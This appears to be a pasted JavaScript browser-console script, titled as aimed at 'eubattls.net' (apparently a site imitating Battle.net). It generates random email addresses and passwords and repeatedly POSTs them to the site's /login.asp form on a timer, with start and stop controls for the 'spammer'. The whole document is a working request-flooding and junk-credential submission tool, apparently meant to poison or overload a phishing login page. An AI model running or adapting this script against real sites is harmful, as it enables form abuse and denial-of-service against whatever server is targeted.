· 8 years ago · Nov 07, 2017, 09:50 PM
1// eubattls.net fucker script
2
3var url = "/login.asp";
4var usernameField = "accountName";
5var passwordField = "password";
6
7var domains = [
8 "aol.com", "att.net", "comcast.net", "facebook.com", "gmail.com", "gmx.com", "googlemail.com",
9 "google.com", "hotmail.com", "hotmail.co.uk", "mac.com", "me.com", "mail.com", "msn.com",
10 "live.com", "sbcglobal.net", "verizon.net", "yahoo.com", "yahoo.co.uk"
11];
12
13var chars = "abcdefghijklmnopqrstuvwxyz";
14var numbers = "1234567890";
15
16var getRandomText = function(useChar, useNum, clen, nlen) {
17 var result = "";
18
19 if (useChar) {
20 for (var i = 0; i < clen; i++) {
21 result += chars[Math.floor(Math.random() * chars.length)];
22 }
23 }
24
25 if (useNum) {
26 for (var i = 0; i < nlen; i++) {
27 result += numbers[Math.floor(Math.random() * numbers.length)];
28 }
29 }
30
31 return result;
32};
33
34var getRandomDomain = function() {
35 return domains[Math.floor(Math.random() * domains.length)];
36};
37
38var urlEncodeData = function(username, password) {
39 return usernameField + "=" + encodeURIComponent(username) +
40 "&" + passwordField + "=" + encodeURIComponent(password);
41};
42
43var requestCount = 0;
44
45var sendRequest = function(username, password) {
46 console.log("Attempting to send request with username '" + username + "'"
47 + ", and password '" + password + "'");
48
49 var xhr = new XMLHttpRequest();
50 xhr.open("POST", url, true);
51 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
52
53 xhr.addEventListener('load', function(event) {
54 requestCount++;
55 console.log("Request sent! (Request count = " + requestCount + ")");
56 });
57
58 xhr.send(urlEncodeData(username, password));
59};
60
61var autoSendRequest = function() {
62 var username = getRandomText(true, true, 4 + Math.round(Math.random() * 5), Math.round(Math.random() * 3)) + "@" + getRandomDomain();
63 var password = getRandomText(true, true, 4 + Math.round(Math.random() * 5), 1 + Math.round(Math.random() * 3));
64
65 sendRequest(username, password);
66};
67
68var intervalID = null;
69
70var startSpammer = function(interval) {
71 intervalID = setInterval(autoSendRequest, interval);
72 console.log("Starting request spammer with " + interval + "ms interval (id = " + intervalID + ")!");
73};
74
75var stopSpammer = function() {
76 if (intervalID !== null) {
77 clearInterval(intervalID);
78 console.log("Stopped spammer (id = " + intervalID + ")");
79 intervalID = null;
80 } else {
81 console.log("Could not stop spammer! (Spammer is not active)");
82 }
83};